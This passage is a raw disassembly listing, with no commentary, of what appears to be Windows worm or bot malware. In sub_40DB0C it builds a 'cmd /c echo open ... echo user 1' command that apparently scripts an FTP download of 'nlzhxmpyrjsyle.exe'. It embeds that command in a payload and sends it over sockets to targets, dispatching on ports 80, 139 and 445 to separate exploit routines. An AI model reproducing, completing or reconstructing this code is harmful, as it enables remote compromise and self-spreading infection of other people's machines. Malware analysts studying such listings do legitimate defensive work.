		jnz	short loc_40DA09

loc_40DA17:				; CODE XREF: sub_40D8D7+12Dj
		cmp	[ebp+arg_8], 0
		ja	loc_40D91F
		pop	ebx

loc_40DA22:				; CODE XREF: sub_40D8D7+3Ej
		mov	ecx, [ebp+arg_0]
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40DCEB
		mov	[ebp+var_20], edi
		and	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		call	sub_40DD38
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_40D8D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA4E	proc near		; CODE XREF: sub_40DB0C+124p

var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		mov	eax, offset loc_43BAA9
		call	__EH_prolog
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4E5E30
		and	[ebp+var_4], 0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_4]
		push	eax
		call	sub_40D8D7
		add	esp, 10h
		lea	ecx, [ebp+var_1C]
		mov	byte ptr [ebp+var_4], 1
		call	sub_40DDE4
		lea	ecx, [ebp+arg_C]
		mov	esi, eax
		call	sub_40DDE4
		lea	esi, [esi+eax+36h]
		push	esi		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40DAA4
		xor	bl, bl
		jmp	short loc_40DAE3
; ---------------------------------------------------------------------------

loc_40DAA4:				; CODE XREF: sub_40DA4E+50j
		lea	ecx, [ebp+var_1C]
		call	sub_40DDD7
		push	eax
		lea	ecx, [ebp+arg_C]
		call	sub_40DDD7
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		push	0
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	dword_4E3148	; send
		cmp	eax, esi
		jz	short loc_40DADA
		xor	bl, bl
		jmp	short loc_40DADC
; ---------------------------------------------------------------------------

loc_40DADA:				; CODE XREF: sub_40DA4E+86j
		mov	bl, 1

loc_40DADC:				; CODE XREF: sub_40DA4E+8Aj
		push	edi		; Memory
		call	_free
		pop	ecx

loc_40DAE3:				; CODE XREF: sub_40DA4E+54j
		and	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_1C]
		call	sub_40DD38
		or	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+arg_C]
		call	sub_40DD38
		mov	ecx, [ebp+var_C]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40DA4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB0C	proc near		; DATA XREF: .data:00448324o
					; .data:00448364o ...

Dst		= byte ptr -424h
var_423		= byte ptr -423h
Dest		= byte ptr -395h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
Src		= dword	ptr -8
Size		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		and	[ebp+Dst], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_423]
		push	8Fh		; Size
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+Dst]
		push	offset dword_448E3C ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		mov	eax, offset Str	; "nlzhxmpyrjsyle.exe"
		push	eax
		push	eax
		movzx	eax, word ptr dword_4E2E18
		push	eax
		push	[ebp+arg_0]
		call	sub_40AF71
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+Dest]
		push	400h		; Count
		push	eax		; Dest
		call	__snprintf
		add	eax, 90h
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	164h
		lea	eax, [ebp+Src]
		push	offset aSvwfbA	; "SVWf"
		push	eax
		call	sub_40D335
		xor	ebx, ebx
		add	esp, 30h
		cmp	[ebp+Size], ebx
		jnz	short loc_40DBAA
		xor	eax, eax
		jmp	loc_40DCB8
; ---------------------------------------------------------------------------

loc_40DBAA:				; CODE XREF: sub_40DB0C+95j
		mov	[ebp+var_C], ebx

loc_40DBAD:				; CODE XREF: sub_40DB0C+183j
		test	ebx, ebx
		jnz	loc_40DC95
		push	6
		push	1
		push	2
		call	ds:dword_4F553C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40DC7D
		xor	eax, eax
		lea	edi, [ebp+var_1E]
		stosd
		push	[ebp+arg_A0]
		stosd
		stosd
		stosw
		mov	[ebp+var_20], 2
		call	dword_4E30F8	; htons
		mov	[ebp+var_1E], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4E3138	; inet_addr
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	esi
		call	dword_4E30A0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DC72
		cmp	[ebp+arg_A0], 50h
		jnz	short loc_40DC3A
		sub	esp, 10h
		lea	eax, [ebp+var_D]
		mov	ecx, esp
		mov	[ebp+var_24], esp
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_40DD15
		push	[ebp+Size]
		push	[ebp+Src]
		push	esi
		call	sub_40DA4E
		add	esp, 1Ch
		jmp	short loc_40DC6F
; ---------------------------------------------------------------------------

loc_40DC3A:				; CODE XREF: sub_40DB0C+106j
		cmp	[ebp+arg_A0], 8Bh
		jnz	short loc_40DC54
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	esi		; int
		call	sub_40D839
		jmp	short loc_40DC6C
; ---------------------------------------------------------------------------

loc_40DC54:				; CODE XREF: sub_40DB0C+138j
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_40DC72
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	esi		; int
		call	sub_40D75F

loc_40DC6C:				; CODE XREF: sub_40DB0C+146j
		add	esp, 0Ch

loc_40DC6F:				; CODE XREF: sub_40DB0C+12Cj
		movzx	ebx, al

loc_40DC72:				; CODE XREF: sub_40DB0C+FDj
					; sub_40DB0C+152j
		push	esi
		call	dword_4E3190	; closesocket
		test	ebx, ebx
		jnz	short loc_40DC88

loc_40DC7D:				; CODE XREF: sub_40DB0C+BAj
		push	3E8h
		call	ds:dword_4F534C	; Sleep

loc_40DC88:				; CODE XREF: sub_40DB0C+16Fj
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 2
		jl	loc_40DBAD

loc_40DC95:				; CODE XREF: sub_40DB0C+A3j
		lea	ecx, [ebp+Src]
		call	sub_40D15A
		test	ebx, ebx
		jz	short loc_40DCB6
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_448228[eax]
		lea	eax, dword_448228[eax]

loc_40DCB6:				; CODE XREF: sub_40DB0C+193j
		mov	eax, ebx

loc_40DCB8:				; CODE XREF: sub_40DB0C+99j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCBD	proc near		; DATA XREF: .data:0043F008o
		call	sub_40E2B4
		jmp	$+5
		push	offset nullsub_1 ; void	(__cdecl *)()
		call	_atexit
		pop	ecx
		retn
sub_40DCBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCD3	proc near		; CODE XREF: sub_40D8D7+1Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40E055
		mov	eax, esi
		pop	esi
		retn	4
sub_40DCD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCEB	proc near		; CODE XREF: sub_40D8D7+152p
					; sub_43A720+3Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_40E055
		push	ds:dword_43C480
		mov	ecx, esi
		push	0
		push	edi
		call	sub_40DE66
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_40DCEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DD15	proc near		; CODE XREF: sub_40DB0C+118p
					; sub_43A6C0+27p ...

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40E055
		push	[esp+4+Str]	; Str
		mov	ecx, esi
		call	sub_40DF5C
		mov	eax, esi
		pop	esi
		retn	8
sub_40DD15	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DD38	proc near		; CODE XREF: sub_40D8D7+161p
					; sub_40DA4E+9Cp ...
		push	1
		call	sub_40E055
		retn
sub_40DD38	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40DD40(char	*Str)

sub_40DD40	proc near		; CODE XREF: sub_40D8D7+11Ep

Src		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+Src]	; Str
		call	sub_40DD5D
		pop	ecx
		push	eax		; Size
		mov	ecx, esi
		push	[esp+8+Src]	; Src
		call	sub_40DDFC
		pop	esi
		retn	4
sub_40DD40	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40DD5D(char *Str)

sub_40DD5D	proc near		; CODE XREF: sub_40DD40+7p
					; sub_40DF5C+7p

Str		= dword	ptr  4

		push	[esp+Str]	; Str
		call	_strlen
		pop	ecx
		retn
sub_40DD5D	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40DD68(size_t Size,int)

sub_40DD68	proc near		; CODE XREF: sub_40D8D7+107p
					; sub_40D8D7+138p

Size		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_43C480
		push	ebx
		mov	ebx, [esp+4+Size]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40DD82
		call	sub_43A6C0

loc_40DD82:				; CODE XREF: sub_40DD68+13j
		test	ebx, ebx
		jbe	short loc_40DDB6
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40DFA9
		test	al, al
		jz	short loc_40DDB6
		lea	eax, [esp+0Ch+arg_4]
		push	eax		; int
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	ebx		; Size
		push	eax		; Dst
		call	sub_40DDBE
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40DF79

loc_40DDB6:				; CODE XREF: sub_40DD68+1Cj
					; sub_40DD68+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40DD68	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40DDBE(void *Dst,size_t Size,int)

sub_40DDBE	proc near		; CODE XREF: sub_40DD68+3Ep

Dst		= dword	ptr  4
Size		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	[esp+Size]	; Size
		movsx	eax, byte ptr [eax]
		push	eax		; Val
		push	[esp+8+Dst]	; Dst
		call	_memset
		add	esp, 0Ch
		retn
sub_40DDBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DDD7	proc near		; CODE XREF: sub_40DA4E+59p
					; sub_40DA4E+62p ...
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_40DDE3
		call	sub_40E04F

locret_40DDE3:				; CODE XREF: sub_40DDD7+5j
		retn
sub_40DDD7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DDE4	proc near		; CODE XREF: sub_40DA4E+32p
					; sub_40DA4E+3Cp
		mov	eax, [ecx+8]
		retn
sub_40DDE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DDE8	proc near		; CODE XREF: sub_40D8D7+33p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	[ecx+0Ch], eax
		jnb	short locret_40DDF9
		push	0
		push	eax
		call	sub_40DFA9

locret_40DDF9:				; CODE XREF: sub_40DDE8+7j
		retn	4
sub_40DDE8	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40DDFC(void	*Src,size_t Size)

sub_40DDFC	proc near		; CODE XREF: sub_40DD40+14p

Src		= dword	ptr  4
Size		= dword	ptr  8

		mov	eax, ds:dword_43C480
		push	ebx
		mov	ebx, [esp+4+Size]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40DE16
		call	sub_43A6C0

loc_40DE16:				; CODE XREF: sub_40DDFC+13j
		test	ebx, ebx
		jbe	short loc_40DE49
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40DFA9
		test	al, al
		jz	short loc_40DE49
		mov	eax, [esi+4]
		push	ebx		; Size
		push	[esp+10h+Src]	; Src
		add	eax, [esi+8]
		push	eax		; Dst
		call	sub_40DE51
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40DF79

loc_40DE49:				; CODE XREF: sub_40DDFC+1Cj
					; sub_40DDFC+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40DDFC	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40DE51(void *Dst,void	*Src,size_t Size)

sub_40DE51	proc near		; CODE XREF: sub_40DDFC+3Dp
					; sub_40DE66+D9p ...

Dst		= dword	ptr  4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	[esp+Size]	; Size
		push	[esp+4+Src]	; Src
		push	[esp+8+Dst]	; Dst
		call	_memcpy
		add	esp, 0Ch
		retn
sub_40DE51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE66	proc near		; CODE XREF: sub_40DCEB+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, ebx
		call	sub_40DF58
		cmp	eax, [ebp+arg_4]
		jnb	short loc_40DE82
		call	sub_43A9C0

loc_40DE82:				; CODE XREF: sub_40DE66+15j
		mov	ecx, ebx
		call	sub_40DF58
		mov	edi, eax
		mov	eax, [ebp+arg_4]
		sub	edi, eax
		cmp	[ebp+arg_8], edi
		jnb	short loc_40DE98
		mov	edi, [ebp+arg_8]

loc_40DE98:				; CODE XREF: sub_40DE66+2Dj
		cmp	esi, ebx
		jnz	short loc_40DEBD
		push	ds:dword_43C480
		add	edi, eax
		mov	ecx, esi
		push	edi
		call	sub_40E0E5
		push	[ebp+arg_4]
		mov	ecx, esi
		push	0
		call	sub_40E0E5
		jmp	loc_40DF4F
; ---------------------------------------------------------------------------

loc_40DEBD:				; CODE XREF: sub_40DE66+34j
		test	edi, edi
		jbe	short loc_40DF22
		mov	ecx, ebx
		call	sub_40DF58
		cmp	edi, eax
		jnz	short loc_40DF22
		mov	ecx, ebx
		call	sub_40DDD7
		push	eax
		mov	ecx, esi
		call	sub_40E23A
		cmp	byte ptr [eax],	0FEh
		jnb	short loc_40DF22
		push	ebx
		push	esi
		call	sub_40E29F
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40DF22
		push	1
		mov	ecx, esi
		call	sub_40E055
		mov	ecx, ebx
		call	sub_40DDD7
		mov	ecx, ebx
		mov	[esi+4], eax
		call	sub_40DF58
		mov	ecx, ebx
		mov	[esi+8], eax
		call	sub_40E171
		push	dword ptr [esi+4]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_40E23A
		inc	byte ptr [eax]
		jmp	short loc_40DF4F
; ---------------------------------------------------------------------------

loc_40DF22:				; CODE XREF: sub_40DE66+59j
					; sub_40DE66+64j ...
		push	1
		push	edi
		mov	ecx, esi
		call	sub_40DFA9
		test	al, al
		jz	short loc_40DF4F
		push	edi		; Size
		mov	ecx, ebx
		call	sub_40DDD7
		add	eax, [ebp+arg_4]
		push	eax		; Src
		push	dword ptr [esi+4] ; Dst
		call	sub_40DE51
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40DF79

loc_40DF4F:				; CODE XREF: sub_40DE66+52j
					; sub_40DE66+BAj ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40DE66	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF58	proc near		; CODE XREF: sub_40DE66+Dp
					; sub_40DE66+1Ep ...
		mov	eax, [ecx+8]
		retn
sub_40DF58	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40DF5C(char	*Str)

sub_40DF5C	proc near		; CODE XREF: sub_40DD15+18p
					; sub_40E24F+34p

Src		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+Src]	; Str
		call	sub_40DD5D
		pop	ecx
		push	eax		; Size
		mov	ecx, esi
		push	[esp+8+Src]	; Src
		call	sub_40E0AF
		pop	esi
		retn	4
sub_40DF5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF79	proc near		; CODE XREF: sub_40DD68+49p
					; sub_40DDFC+48p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	[ebp+var_1], 0
		mov	[ecx+8], eax
		mov	ecx, [ecx+4]
		lea	edx, [ebp+var_1]
		add	ecx, eax
		push	edx
		push	ecx
		call	sub_40DF9C
		pop	ecx
		pop	ecx
		leave
		retn	4
sub_40DF79	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF9C	proc near		; CODE XREF: sub_40DF79+18p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		mov	al, [eax]
		mov	[ecx], al
		retn
sub_40DF9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DFA9	proc near		; CODE XREF: sub_40DD68+28p
					; sub_40DDE8+Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40E15F
		mov	edi, [esp+0Ch+arg_0]
		cmp	eax, edi
		jnb	short loc_40DFC0
		call	sub_43A6C0

loc_40DFC0:				; CODE XREF: sub_40DFA9+10j
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_40E000
		push	eax
		mov	ecx, esi
		call	sub_40E23A
		cmp	[eax], bl
		jz	short loc_40E000
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40E23A
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40E000
		cmp	edi, ebx
		jnz	short loc_40E03F
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40E23A
		dec	byte ptr [eax]
		push	ebx

loc_40DFF5:				; CODE XREF: sub_40DFA9+63j
		mov	ecx, esi
		call	sub_40E055

loc_40DFFC:				; CODE XREF: sub_40DFA9+68j
					; sub_40DFA9+72j
		xor	al, al
		jmp	short loc_40E049
; ---------------------------------------------------------------------------

loc_40E000:				; CODE XREF: sub_40DFA9+1Ej
					; sub_40DFA9+2Aj ...
		cmp	edi, ebx
		jnz	short loc_40E01D
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40E00E
		push	1
		jmp	short loc_40DFF5
; ---------------------------------------------------------------------------

loc_40E00E:				; CODE XREF: sub_40DFA9+5Fj
		cmp	[esi+4], ebx
		jz	short loc_40DFFC
		push	ebx
		mov	ecx, esi
		call	sub_40DF79
		jmp	short loc_40DFFC
; ---------------------------------------------------------------------------

loc_40E01D:				; CODE XREF: sub_40DFA9+59j
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40E03A
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40E02F
		cmp	eax, edi
		jnb	short loc_40E047

loc_40E02F:				; CODE XREF: sub_40DFA9+80j
		push	1
		mov	ecx, esi
		call	sub_40E055
		jmp	short loc_40E03F
; ---------------------------------------------------------------------------

loc_40E03A:				; CODE XREF: sub_40DFA9+78j
		cmp	[esi+0Ch], edi
		jnb	short loc_40E047

loc_40E03F:				; CODE XREF: sub_40DFA9+3Dj
					; sub_40DFA9+8Fj
		push	edi
		mov	ecx, esi
		call	sub_40E175

loc_40E047:				; CODE XREF: sub_40DFA9+84j
					; sub_40DFA9+94j
		mov	al, 1

loc_40E049:				; CODE XREF: sub_40DFA9+55j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40DFA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E04F	proc near		; CODE XREF: sub_40DDD7+7p
		mov	eax, offset dword_43C484
		retn
sub_40E04F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E055	proc near		; CODE XREF: sub_40DCD3+Dp
					; sub_40DCEB+Ep ...

arg_0		= byte ptr  4

		push	ebx
		xor	ebx, ebx
		cmp	[esp+4+arg_0], bl
		push	esi
		mov	esi, ecx
		jz	short loc_40E0A1
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	short loc_40E0A1
		push	eax
		call	sub_40E23A
		cmp	[eax], bl
		jz	short loc_40E08F
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40E23A
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40E08F
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40E23A
		dec	byte ptr [eax]
		jmp	short loc_40E0A1
; ---------------------------------------------------------------------------

loc_40E08F:				; CODE XREF: sub_40E055+1Bj
					; sub_40E055+2Aj
		mov	eax, [esi+0Ch]
		mov	ecx, esi
		inc	eax
		inc	eax
		push	eax
		mov	eax, [esi+4]
		dec	eax
		push	eax
		call	unknown_libname_36 ; Microsoft VisualC 2-8/net runtime

loc_40E0A1:				; CODE XREF: sub_40E055+Aj
					; sub_40E055+11j ...
		mov	[esi+4], ebx
		mov	[esi+8], ebx
		mov	[esi+0Ch], ebx
		pop	esi
		pop	ebx
		retn	4
sub_40E055	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40E0AF(void	*Src,size_t Size)

sub_40E0AF	proc near		; CODE XREF: sub_40DF5C+14p

Src		= dword	ptr  4
Size		= dword	ptr  8

		push	esi
		push	1
		push	[esp+8+Size]
		mov	esi, ecx
		call	sub_40DFA9
		test	al, al
		jz	short loc_40E0DF
		push	[esp+4+Size]	; Size
		push	[esp+8+Src]	; Src
		push	dword ptr [esi+4] ; Dst
		call	sub_40DE51
		add	esp, 0Ch
		mov	ecx, esi
		push	[esp+4+Size]
		call	sub_40DF79

loc_40E0DF:				; CODE XREF: sub_40E0AF+10j
		mov	eax, esi
		pop	esi
		retn	8
sub_40E0AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E0E5	proc near		; CODE XREF: sub_40DE66+41p
					; sub_40DE66+4Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40E0F8
		call	sub_43A9C0

loc_40E0F8:				; CODE XREF: sub_40E0E5+Cj
		mov	ecx, edi
		call	sub_40E24F
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40E10E
		mov	ebx, eax

loc_40E10E:				; CODE XREF: sub_40E0E5+25j
		test	ebx, ebx
		jbe	short loc_40E142
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax		; Size
		lea	eax, [ecx+ebx]
		push	eax		; Src
		push	ecx		; Dst
		call	sub_40E14A
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40DFA9
		test	al, al
		jz	short loc_40E142
		push	esi
		mov	ecx, edi
		call	sub_40DF79

loc_40E142:				; CODE XREF: sub_40E0E5+2Bj
					; sub_40E0E5+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40E0E5	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40E14A(void *Dst,void	*Src,size_t Size)

sub_40E14A	proc near		; CODE XREF: sub_40E0E5+3Ap

Dst		= dword	ptr  4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	[esp+Size]	; Size
		push	[esp+4+Src]	; Src
		push	[esp+8+Dst]	; Dst
		call	_memcpy_0
		add	esp, 0Ch
		retn
sub_40E14A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E15F	proc near		; CODE XREF: sub_40DFA9+5p
					; sub_40E175+1Ep
		call	sub_40E29B
		cmp	eax, 2
		ja	short loc_40E16D
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_40E16D:				; CODE XREF: sub_40E15F+8j
		add	eax, 0FFFFFFFEh
		retn
sub_40E15F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E171	proc near		; CODE XREF: sub_40DE66+A6p
		mov	eax, [ecx+0Ch]
		retn
sub_40E171	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E175	proc near		; CODE XREF: sub_40DFA9+99p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	eax, offset loc_43BAB4
		call	__EH_prolog
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		mov	[ebp+var_10], esp
		mov	[ebp+var_14], esi
		or	edi, 1Fh
		call	sub_40E15F
		cmp	eax, edi
		jnb	short loc_40E19F
		mov	edi, [ebp+arg_0]

loc_40E19F:				; CODE XREF: sub_40E175+25j
		and	[ebp+var_4], 0
		lea	eax, [edi+2]
		push	0
		push	eax
		mov	ecx, esi
		call	sub_40E28B
		mov	[ebp+arg_0], eax
		jmp	short loc_40E1D8
; ---------------------------------------------------------------------------

loc_40E1B5:				; DATA XREF: .rdata:0043E3ECo
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_18], eax
		add	eax, 2
		push	0
		push	eax
		call	sub_40E28B
		mov	[ebp+arg_0], eax
		mov	eax, offset loc_40E1D2
		retn
; ---------------------------------------------------------------------------

loc_40E1D2:				; DATA XREF: sub_40E175+57o
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+var_18]

loc_40E1D8:				; CODE XREF: sub_40E175+3Ej
		mov	eax, [esi+8]
		or	[ebp+var_4], 0FFFFFFFFh
		test	eax, eax
		jbe	short loc_40E1FA
		cmp	eax, edi
		jbe	short loc_40E1E9
		mov	eax, edi

loc_40E1E9:				; CODE XREF: sub_40E175+70j
		push	eax		; Size
		mov	eax, [ebp+arg_0]
		push	dword ptr [esi+4] ; Src
		inc	eax
		push	eax		; Dst
		call	sub_40DE51
		add	esp, 0Ch

loc_40E1FA:				; CODE XREF: sub_40E175+6Cj
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40E055
		mov	eax, [ebp+arg_0]
		mov	ecx, esi
		inc	eax
		push	eax
		mov	[esi+4], eax
		call	sub_40E23A
		and	byte ptr [eax],	0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40E221
		mov	edi, ebx

loc_40E221:				; CODE XREF: sub_40E175+A8j
		push	edi
		mov	ecx, esi
		call	sub_40DF79
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40E175	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E23A	proc near		; CODE XREF: sub_40DE66+70p
					; sub_40DE66+B3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		retn	4
sub_40E23A	endp

; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_36. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40E24F	proc near		; CODE XREF: sub_40E0E5+15p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40E289
		push	eax
		call	sub_40E23A
		cmp	byte ptr [eax],	0
		jz	short loc_40E289
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40E23A
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40E289
		push	edi
		mov	edi, [esi+4]
		push	1
		mov	ecx, esi
		call	sub_40E055
		push	edi		; Str
		mov	ecx, esi
		call	sub_40DF5C
		pop	edi

loc_40E289:				; CODE XREF: sub_40E24F+8j
					; sub_40E24F+13j ...
		pop	esi
		retn
sub_40E24F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E28B	proc near		; CODE XREF: sub_40E175+36p
					; sub_40E175+4Fp

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40E2A2
		pop	ecx
		pop	ecx
		retn	8
